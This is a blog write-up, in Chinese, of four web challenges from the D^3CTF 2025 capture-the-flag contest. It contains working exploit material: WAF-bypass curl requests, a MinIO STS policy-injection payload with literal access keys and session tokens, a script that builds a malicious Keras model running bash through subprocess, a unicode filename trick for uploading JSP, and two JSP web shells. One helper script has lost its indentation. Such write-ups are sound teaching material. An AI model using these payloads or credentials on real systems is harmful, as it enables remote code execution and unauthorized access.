D^3ctf


https://mp.weixin.qq.com/s?__biz=MzkwMDY2ODc0MA==&mid=2247485533&idx=1&sn=7b68ffc7dcc430326e32ec1517579cda&chksm=c1d6e196c4689093adb5540ddf824ca7fc830b02a03599d3b20f10b17b745ce02f3eb11b4b58&mpshare=1&scene=23&srcid=0602Akfw1aD2LnXVrzQQipJn&sharer_shareinfo=97ea989882b93a4bce2a3b5ece51d8d7&sharer_shareinfo_first=a66f1421f98917552497cf380ea9e98b#rd

D3CTF-2025-Official-Writeup-CN.pdf

tidy quic

package main

import (
	"bytes"
	"errors"
	"github.com/libp2p/go-buffer-pool"
	"github.com/quic-go/quic-go/http3"
	"io"
	"log"
	"net/http"
	"os"
)

var p pool.BufferPool
var ErrWAF = errors.New("WAF")

func main() {
	go func() {
		err := http.ListenAndServeTLS(":8080", "./server.crt", "./server.key", &mux{})
		log.Fatalln(err)
	}()
	go func() {
		err := http3.ListenAndServeQUIC(":8080", "./server.crt", "./server.key", &mux{})
		log.Fatalln(err)
	}()
	select {}
}

type mux struct {
}

func (*mux) ServeHTTP(w http.ResponseWriter, r *http.Request) {
	if r.Method == http.MethodGet {
		_, _ = w.Write([]byte("Hello D^3CTF 2025,I'm tidy quic in web."))
		return
	}
	if r.Method != http.MethodPost {
		w.WriteHeader(400)
		return
	}

	var buf []byte
	length := int(r.ContentLength)
	if length == -1 {
		var err error
		buf, err = io.ReadAll(textInterrupterWrap(r.Body))
		if err != nil {
			if errors.Is(err, ErrWAF) {
				w.WriteHeader(400)
				_, _ = w.Write([]byte("WAF"))
			} else {
				w.WriteHeader(500)
				_, _ = w.Write([]byte("error"))
			}
			return
		}
	} else {
		buf = p.Get(length)
		defer p.Put(buf)
		rd := textInterrupterWrap(r.Body)
		i := 0
		for {
			n, err := rd.Read(buf[i:])
			if err != nil {
				if errors.Is(err, io.EOF) {
					break
				} else if errors.Is(err, ErrWAF) {
					w.WriteHeader(400)
					_, _ = w.Write([]byte("WAF"))
					return
				} else {
					w.WriteHeader(500)
					_, _ = w.Write([]byte("error"))
					return
				}
			}
			i += n
		}
	}
	if !bytes.HasPrefix(buf, []byte("I want")) {
		_, _ = w.Write([]byte("Sorry I'm not clear what you want."))
		return
	}
	item := bytes.TrimSpace(bytes.TrimPrefix(buf, []byte("I want")))
	if bytes.Equal(item, []byte("flag")) {
		_, _ = w.Write([]byte(os.Getenv("FLAG")))
	} else {
		_, _ = w.Write(item)
	}
}

type wrap struct {
	io.ReadCloser
	ban []byte
	idx int
}

func (w *wrap) Read(p []byte) (int, error) {
	n, err := w.ReadCloser.Read(p)
	if err != nil && !errors.Is(err, io.EOF) {
		return n, err
	}
	for i := 0; i < n; i++ {
		if p[i] == w.ban[w.idx] {
			w.idx++
			if w.idx == len(w.ban) {
				return n, ErrWAF
			}
		} else {
			w.idx = 0
		}
	}
	return n, err
}

func textInterrupterWrap(rc io.ReadCloser) io.ReadCloser {
	return &wrap{
		rc, []byte("flag"), 0,
	}
}
  • HTTP/3 要求使用 HTTPS(TLS 加密)
  • 只有 HTTPS 才能启用 HTTP/3 协议
  • HTTP/3 默认使用 QUIC 协议,而 QUIC 协议底层已经基于 UDP

buf缓存复用,用完缓存后没有清除而是放进了公共池,然后是根据请求长度来获取缓存

item := bytes.TrimSpace(bytes.TrimPrefix(buf, []byte("I want")))
	if bytes.Equal(item, []byte("flag")) {
	
	buf = p.Get(length)
		defer p.Put(buf)

可以通过设置 Content-Length 来填充上次请求的buf缓存内容,然后检测waf是检测的请求内容,获取flag是看的buf,从而进行绕过

curl --http3 -k -v https://35.241.98.126:30830   Hello D^3CTF 2025,I'm tidy quic in web. 
curl --http3 -k -v -X POST https://35.241.98.126:30830      Sorry I'm not clear what you want. 
curl --http3 -k -v -X POST https://35.241.98.126:30830 -d "I want flag"   WAF  
curl --http3 -k -v -X POST https://35.241.98.126:30830 -d 'I want \0flag'

x=$'I want   ag'
curl -X POST https://35.241.98.126:30830 -d "$x" -v --insecure --http3 -H "Content-Length: 11" 
x=$'I want fl  '
curl -X POST https://35.241.98.126:30830 -d "$x" -v --insecure --http3 -H "Content-Length: 11" 

curl -k --http3 -X POST https://35.241.98.126:31100 --data "I want" -H "Content-Length: 11"
curl -k --http3 -X POST https://35.241.98.126:31100 --data "I want flag" -H "Content-Length: 11"
curl -k --http3 -X POST https://35.241.98.126:31100 --data "I want" -H "Content-Length: 11"

d3invitation

https://stevenocean.github.io/2021/01/12/minio-sts-assumerole-sample.html

https://forum.butian.net/share/4340

{
  "access_key_id": "GGQAD3S7AQV2CHW6FIWK",
  "secret_access_key": "dUBCb6NEb+SQ++eaOxHLqf7nuf+5sq2Hnb+BFszW",
  "session_token": "eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJHR1FBRDNTN0FRVjJDSFc2RklXSyIsImV4cCI6MTc0ODcwMzMwMiwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2TWk1cWNHY2lYWDFkZlE9PSJ9.e5_4cry-b2AEx8W4BHStRMe_XLmPNHN1V_T06lEKhRJ_D5kLPHlbahY7-5oYiUzV0-DeHCyXxAfFRN5XXq7DpA"
}

{"alg":"HS512","typ":"JWT"}.{"accessKey":"GGQAD3S7AQV2CHW6FIWK","exp":1748703302,"parent":"B9M320QXHD38WUR2MIY3","sessionPolicy":"eyJWZXJzaW9uIjoiMjAxMi0xMC0xNyIsIlN0YXRlbWVudCI6W3siRWZmZWN0IjoiQWxsb3ciLCJBY3Rpb24iOlsiczM6R2V0T2JqZWN0IiwiczM6UHV0T2JqZWN0Il0sIlJlc291cmNlIjpbImFybjphd3M6czM6OjpkM2ludml0YXRpb24vMi5qcGciXX1dfQ=="}.e5_4cry-b2AEx8W4BHStRMe_XLmPNHN1V_T06lEKhRJ_D5kLPHlbahY7-5oYiUzV0-DeHCyXxAfFRN5XXq7DpA

{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:GetObject","s3:PutObject"],"Resource":["arn:aws:s3:::d3invitation/2.jpg"]}]}

{"object_name":"*\",\"arn:aws:s3:::*"}
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:GetObject","s3:PutObject"],"Resource":["arn:aws:s3:::*","arn:aws:s3:::d3invitation/*"]}]}

可以尝试构造一个特殊的object_name对policy进行注入,拿到一个对MinIO拥有所有权限的STS临时凭证
{"object_name":"*\"]},{\"Effect\":\"Allow\",\"Action\":[\"s3:*\"],\"Resource\":[\"arn:aws:s3:::*"} 
"access_key_id":"NPO9XN9GE4MITLK9WCBB","secret_access_key":"KYOdEREHpVOnP2FCkxRn33vGL3azYoSyAUfY+U6R","session_token":"eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJOUE85WE45R0U0TUlUTEs5V0NCQiIsImV4cCI6MTc0ODg3NDgxNiwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2S2lKZGZTeDdJa1ZtWm1WamRDSTZJa0ZzYkc5M0lpd2lRV04wYVc5dUlqcGJJbk16T2lvaVhTd2lVbVZ6YjNWeVkyVWlPbHNpWVhKdU9tRjNjenB6TXpvNk9pb2lYWDFkZlE9PSJ9.UVopT0BZzvHVLUIIofPpaPrBSEgf7U75ZHxAG_dr-iZXORS5fs8FvE6QZWqpBvC28E_VyIHGIrbC8TztFmJoMQ"
wget https://dl.min.io/client/mc/release/linux-amd64/mc
chmod +x mc
sudo mv mc /usr/local/bin/

export MC_HOST_youralias="http://yourserveraddress:9000 youraccesskey yoursecretkey"
mc ls youralias
mc ls youralias/yourbucketname
mc cat youralias/yourbucketname/yourobjectname
export MC_HOST_d3invitation="http://NPO9XN9GE4MITLK9WCBB:KYOdEREHpVOnP2FCkxRn33vGL3azYoSyAUfY+U6R:eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJOUE85WE45R0U0TUlUTEs5V0NCQiIsImV4cCI6MTc0ODg3NDgxNiwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2S2lKZGZTeDdJa1ZtWm1WamRDSTZJa0ZzYkc5M0lpd2lRV04wYVc5dUlqcGJJbk16T2lvaVhTd2lVbVZ6YjNWeVkyVWlPbHNpWVhKdU9tRjNjenB6TXpvNk9pb2lYWDFkZlE9PSJ9.UVopT0BZzvHVLUIIofPpaPrBSEgf7U75ZHxAG_dr-iZXORS5fs8FvE6QZWqpBvC28E_VyIHGIrbC8TztFmJoMQ@35.241.98.126:31110"


d3model

https://blog.huntr.com/inside-cve-2025-1550-remote-code-execution-via-keras-models

import zipfile
import json
import numpy as np
import os
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Dense

model_name = "model.keras"

x_train = np.random.rand(100, 28 * 28)
y_train = np.random.rand(100)

model = Sequential([Dense(1, activation='linear', input_dim=28 * 28)])
model.compile(optimizer='adam', loss='mse')
model.fit(x_train, y_train, epochs=5)
model.save(model_name)

with zipfile.ZipFile(model_name, "r") as f:
    config = json.loads(f.read("config.json").decode())

config["config"]["layers"][0]["module"] = "keras.models"
config["config"]["layers"][0]["class_name"] = "Model"
config["config"]["layers"][0]["config"] = {
    "name": "mvlttt",
    "layers": [
        {
            "name": "mvlttt",
            "class_name": "function",
            "config": "Popen",
            "module": "subprocess",
            "inbound_nodes": [{"args":[["bash", "-c", "env > index.html"]], "kwargs": {"bufsize": -1}}]
        }],
    "input_layers": [["mvlttt", 0, 0]],
    "output_layers": [["mvlttt", 0, 0]]
}

with zipfile.ZipFile(model_name, 'r') as zip_read:
    with zipfile.ZipFile(f"tmp.{model_name}", 'w') as zip_write:
        for item in zip_read.infolist():
            if item.filename != "config.json":
                zip_write.writestr(item, zip_read.read(item.filename))

os.remove(model_name)
os.rename(f"tmp.{model_name}", model_name)

with zipfile.ZipFile(model_name, "a") as zf:
    zf.writestr("config.json", json.dumps(config))

print("[+] Malicious model ready")
{
    "config": {
        "layers": [
            {
                "module": "keras.models",
                "class_name":"Model",
                "config":{"layers": [
                {
                    "module": "keras.models",
                    "class_name":"Model",
                    "config":{
                        "name":"mvlttt", "layers":[
                            {
                                "name":"mvlttt",
                                "class_name":"function",
                                "config":"Popen",
                                "module": "subprocess",
                                "inbound_nodes":[{"args":[["bash", "-c", "env > index.html"]],"kwargs":{"bufsize":-1}}]
                            }],
                                "input_layers":[["mvlttt", 0, 0]],
                                "output_layers":[["mvlttt", 0, 0]]
                    }
                }
            ]
        }
        }
        ]
    }
}

d3jtar

不安全的jsp解析,显然只要成功上传jsp 文件即可RCE

在使用 jtar 的 TarOutputStream 打包文件时,它会把文件名中的 unicode 强制转化为 ascii 码, 从而发生字符截断。

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package d3.example.controller;

import d3.example.utils.BackUp;
import d3.example.utils.Upload;
import java.io.File;
import java.io.IOException;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.HashSet;
import java.util.Objects;
import java.util.Set;
import javax.servlet.http.HttpServletRequest;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.multipart.MultipartFile;
import org.springframework.web.servlet.ModelAndView;

@Controller
public class MainController {
    public MainController() {
    }

    @GetMapping({"/view"})
    public ModelAndView view(@RequestParam String page, HttpServletRequest request) {
        if (page.matches("^[a-zA-Z0-9-]+$")) {
            String viewPath = "/WEB-INF/views/" + page + ".jsp";
            String realPath = request.getServletContext().getRealPath(viewPath);
            File jspFile = new File(realPath);
            if (realPath != null && jspFile.exists()) {
                return new ModelAndView(page);
            }
        }

        ModelAndView mav = new ModelAndView("Error");
        mav.addObject("message", "The file don't exist.");
        return mav;
    }

    @PostMapping({"/Upload"})
    @ResponseBody
    public String UploadController(@RequestParam MultipartFile file) {
        try {
            String uploadDir = "webapps/ROOT/WEB-INF/views";
            Set<String> blackList = new HashSet(Arrays.asList("jsp", "jspx", "jspf", "jspa", "jsw", "jsv", "jtml", "jhtml", "sh", "xml", "war", "jar"));
            String filePath = Upload.secureUpload(file, uploadDir, blackList);
            return "Upload Success: " + filePath;
        } catch (Upload.UploadException var5) {
            return "The file is forbidden: " + var5;
        }
    }

    @PostMapping({"/BackUp"})
    @ResponseBody
    public String BackUpController(@RequestParam String op) {
        if (Objects.equals(op, "tar")) {
            try {
                BackUp.tarDirectory(Paths.get("backup.tar"), Paths.get("webapps/ROOT/WEB-INF/views"));
                return "Success !";
            } catch (IOException var3) {
                return "Failure : tar Error";
            }
        } else if (Objects.equals(op, "untar")) {
            try {
                BackUp.untar(Paths.get("webapps/ROOT/WEB-INF/views"), Paths.get("backup.tar"));
                return "Success !";
            } catch (IOException var4) {
                return "Failure : untar Error";
            }
        } else {
            return "Failure : option Error";
        }
    }
}
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package d3.example.utils;

import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.nio.file.Files;
import java.nio.file.LinkOption;
import java.nio.file.Path;
import java.util.Collections;
import java.util.List;
import org.kamranzafar.jtar.TarEntry;
import org.kamranzafar.jtar.TarInputStream;
import org.kamranzafar.jtar.TarOutputStream;

public class BackUp {
    public BackUp() {
    }

    public static void tarDirectory(Path outputFile, Path inputDirectory) throws IOException {
        tarDirectory(outputFile, inputDirectory, Collections.emptyList());
    }

    public static void tarDirectory(Path outputFile, Path inputDirectory, List<String> pathPrefixesToExclude) throws IOException {
        FileOutputStream dest = new FileOutputStream(outputFile.toFile());
        Path outputFileAbsolute = outputFile.normalize().toAbsolutePath();
        Path inputDirectoryAbsolute = inputDirectory.normalize().toAbsolutePath();
        int inputPathLength = inputDirectoryAbsolute.toString().length();
        TarOutputStream out = new TarOutputStream(new BufferedOutputStream(dest));
        Throwable var8 = null;

        try {
            Files.walk(inputDirectoryAbsolute).forEach((entry) -> {
                if (!Files.isDirectory(entry, new LinkOption[0])) {
                    if (!entry.equals(outputFileAbsolute)) {
                        try {
                            String relativeName = entry.toString().substring(inputPathLength + 1);
                            out.putNextEntry(new TarEntry(entry.toFile(), relativeName));
                            BufferedInputStream origin = new BufferedInputStream(new FileInputStream(entry.toFile()));
                            byte[] data = new byte[2048];

                            int count;
                            while((count = origin.read(data)) != -1) {
                                out.write(data, 0, count);
                            }

                            out.flush();
                            origin.close();
                        } catch (IOException var8) {
                            var8.printStackTrace();
                        }

                    }
                }
            });
        } catch (Throwable var17) {
            var8 = var17;
            throw var17;
        } finally {
            if (out != null) {
                if (var8 != null) {
                    try {
                        out.close();
                    } catch (Throwable var16) {
                        var8.addSuppressed(var16);
                    }
                } else {
                    out.close();
                }
            }

        }

    }

    public static void untar(Path outputDirectory, Path inputTarFile) throws IOException {
        FileInputStream fileInputStream = new FileInputStream(inputTarFile.toFile());
        Throwable var3 = null;

        try {
            untar(outputDirectory, (InputStream)fileInputStream);
        } catch (Throwable var12) {
            var3 = var12;
            throw var12;
        } finally {
            if (fileInputStream != null) {
                if (var3 != null) {
                    try {
                        fileInputStream.close();
                    } catch (Throwable var11) {
                        var3.addSuppressed(var11);
                    }
                } else {
                    fileInputStream.close();
                }
            }

        }

    }

    public static void untar(Path outputDirectory, InputStream inputStream) throws IOException {
        TarInputStream tarInputStream = new TarInputStream(inputStream);
        Throwable var3 = null;

        try {
            TarEntry entry;
            try {
                while((entry = tarInputStream.getNextEntry()) != null) {
                    byte[] data = new byte['耀'];
                    File outputFile = new File(outputDirectory + "/" + entry.getName());
                    if (!outputFile.getParentFile().isDirectory()) {
                        outputFile.getParentFile().mkdirs();
                    }

                    FileOutputStream fos = new FileOutputStream(outputFile);
                    BufferedOutputStream dest = new BufferedOutputStream(fos);

                    int count;
                    while((count = tarInputStream.read(data)) != -1) {
                        dest.write(data, 0, count);
                    }

                    dest.flush();
                    dest.close();
                }
            } catch (Throwable var17) {
                var3 = var17;
                throw var17;
            }
        } finally {
            if (tarInputStream != null) {
                if (var3 != null) {
                    try {
                        tarInputStream.close();
                    } catch (Throwable var16) {
                        var3.addSuppressed(var16);
                    }
                } else {
                    tarInputStream.close();
                }
            }

        }

    }
}
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package d3.example.utils;

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.LinkOption;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Set;
import java.util.UUID;
import org.springframework.util.StringUtils;
import org.springframework.web.multipart.MultipartFile;

public class Upload {
    public Upload() {
    }

    public static String secureUpload(MultipartFile file, String uploadDir, Set<String> blackList) throws UploadException {
        try {
            if (file.isEmpty()) {
                throw new UploadException("File cannot be empty");
            } else {
                String originalFilename = file.getOriginalFilename();
                checkFileNameSecurity(originalFilename);
                checkFileTypeSecurity(originalFilename, file.getContentType(), blackList);
                String safeFileName = generateSafeFileName(originalFilename);
                Path uploadPath = Paths.get(uploadDir).normalize().toAbsolutePath();
                if (!Files.exists(uploadPath, new LinkOption[0])) {
                    Files.createDirectories(uploadPath);
                }

                Path targetPath = uploadPath.resolve(safeFileName);
                file.transferTo(targetPath);
                return safeFileName;
            }
        } catch (IOException var7) {
            throw new UploadException("ERROR: " + var7.getMessage());
        }
    }

    private static void checkFileNameSecurity(String fileName) throws UploadException {
        if (fileName != null && !fileName.isEmpty()) {
            if (fileName.matches(".*[\\\\/$;:%\u0000].*")) {
                throw new UploadException("File name contains forbidden character");
            }
        } else {
            throw new UploadException("Invalid file name");
        }
    }

    private static void checkFileTypeSecurity(String fileName, String contentType, Set<String> blackList) throws UploadException {
        String fileExt = getFileExtension(fileName).toLowerCase();
        if (blackList != null && !blackList.isEmpty() && blackList.contains(fileExt)) {
            throw new UploadException("Forbidden type");
        } else if (!isContentTypeValid(fileExt, contentType)) {
            throw new UploadException("File content does not match the type");
        }
    }

    private static String generateSafeFileName(String originalName) {
        String ext = getFileExtension(originalName);
        return UUID.randomUUID().toString() + "." + ext;
    }

    private static String getFileExtension(String fileName) {
        return StringUtils.getFilenameExtension(fileName);
    }

    private static boolean isContentTypeValid(String fileExt, String contentType) {
        if (contentType == null) {
            return true;
        } else {
            String expectedType = getMimeTypeByExtension(fileExt);
            return contentType.startsWith(expectedType);
        }
    }

    private static String getMimeTypeByExtension(String ext) {
        switch (ext.toLowerCase()) {
            case "jpg":
            case "jpeg":
                return "image/jpeg";
            case "png":
                return "image/png";
            case "gif":
                return "image/gif";
            case "pdf":
                return "application/pdf";
            case "doc":
                return "application/msword";
            case "docx":
                return "application/vnd.openxmlformats-officedocument.wordprocessingml.document";
            case "txt":
                return "text/plain";
            default:
                return "application/octet-stream";
        }
    }
}

具体原理可查看jtar源码(https://github.com/kamranzafar/jtar)中TarHeader的 getNameBytes方法如下,使用(byte)强制转换unicode文件名称时会导致字符截断, 打包后文件名称发生改变。

public static int getNameBytes(StringBuffer name, byte[] buf, int offset, int length) {
		int i;

		for (i = 0; i < length && i < name.length(); ++i) {
			buf[offset + i] = (byte) name.charAt(i);
		}

		for (; i < length; ++i) {
			buf[offset + i] = 0;
		}

		return offset + length;
	}

buf[offset + i] = (byte)name.charAt(i); 这一行将 char 强制转换为 byte, 由于 Java 中 char 是 16 位的 Unicode 字符 (0-65535), 而 byte 是有符号的 8 位整数(-128-127), 强制转换时会截断高 8 位,仅保留低 8 位,所以这里我们只需要找到超出 byte 范围的 Unicode 值,它被转换成 byte 后就会变成指定的 ASCII 值 (如 char 的值为 257 时强制转换为 byte 就是为 1, 即 ascii 码为 1)

利用这一点,我们可以将后缀带有特定unicode字符的文件上传 至靶机,绕过后缀黑名单检查,通过备份与恢复功能将上传的文件转变为jsp后缀的文 件并放回jsp可解析目录,最终RCE获取flag。

文件名:payload.陪sp –> payload.jsp

<%@ page import="java.io.*" %> 
<% 
String cmd = "printenv"; 
String output = ""; 
try { 
 
 
        Process p = Runtime.getRuntime().exec(cmd); 
        BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream())); 
        String line; 
        while ((line = reader.readLine()) != null) { 
            output += line + "<br>"; 
        } 
    } catch (Exception e) { 
        output = "Error executing command: " + e.getMessage(); 
    } 
%> 
 
<html> 
<head><title>Command Output</title></head> 
<body> 
<h2>Executed Command: <code><%= cmd %></code></h2> 
<pre><%= output %></pre> 
</body> 
</html>

[Command Output](http://35.241.98.126:31184/view?page=23709ae1-04e3-4a35-9fc9-6202eb616cbc)

<%@ page import="java.util.*, java.io.*" %>
<%
if (request.getParameter("cmd") != null) {
    Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String line;
    while ((line = br.readLine()) != null) {
        out.println(line + "<br>");
    }
}
%>
<h1>Webshell Active</h1>
<form method="GET">
    <input type="text" name="cmd" size="80">
    <input type="submit" value="Execute">
</form>

http://35.241.98.126:31184/view?page=23709ae1-04e3-4a35-9fc9-6202eb616cbc&cmd=env

解题所使用的unicode字符可以参考以下脚本获取,只要可以转换为正常后缀的 ASCII字符即可,例如payload.멪ⅳば也是相同效果。

import unicodedata 
 
def reverse_search(byte_value): 
    low_byte = byte_value & 0xFF 
    candidates = [] 
 
for high in range(0x00, 0xFF + 1): 
code_point = (high << 8) | low_byte 
try: 
char = chr(code_point) 
name = unicodedata.name(char) 
candidates.append((f"U+{code_point:04X}", char, name)) 
except ValueError: 
continue 
return candidates 
ascii_character = "j"  # "s","p" 
byte_val = ord(ascii_character) 
print(f"Possible original characters ({byte_val} → 0x{byte_val & 0xFF:02X}):") 
results = reverse_search(byte_val) 
for cp, char, name in results: 
print(f"{cp}: {char} - {name}")

另外,其实选手如果有心注意的话,在jtar的github项目里有一条23年的pr(最上 方),是关于中文编码错误的修改(但并未被合并),可以作为一条潜在的hint,提醒 选手关注jtar的编码问题。



文章作者: q1n9
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1n9 !
  目录